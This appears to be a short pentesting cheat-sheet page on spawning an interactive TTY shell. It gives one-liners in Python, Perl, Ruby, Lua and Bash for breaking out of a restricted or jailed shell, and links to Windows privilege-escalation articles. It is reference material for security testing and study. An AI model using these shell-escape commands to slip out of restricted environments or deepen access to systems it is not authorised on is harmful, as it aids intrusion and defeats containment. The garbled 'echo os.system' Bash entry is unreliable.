Spawning a TTY Shell
Learn how to spawn a TTY shell using Python and Bash.

On this page
Spawning a TTY Shell – Break out of Jail or limited shell#
A TTY shell is a shell that is connected to a TTY device. It is a terminal that allows you to interact with the system. When you have a limited shell, you can spawn a TTY shell to break out of the restricted environment and gain full access to the system.
Python#
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'Perl#
perl -e 'exec "/bin/sh";'Ruby#
ruby -e 'exec "/bin/sh"'lua#
os.execute('/bin/sh')Bash#
echo os.system('/bin/bash')
/bin/sh -iRelated reading

Windows Service Privilege Escalation
Windows Privilege Escalation - Exploiting Insecure Service Permissions

Abusing SeLoadDriverPrivilege for Privilege Escalation
Learn how to abuse SeLoadDriverPrivilege for privilege escalation on Windows.

Windows Privilege Escalation DNSAdmin to Domain Admin DLL Injection
Hi everyone, today I will be writing about a privilege escalation technique that I used in a recent pentest. This technique is a bit different from the usual ones and I thought it would be a good idea to share it with you all.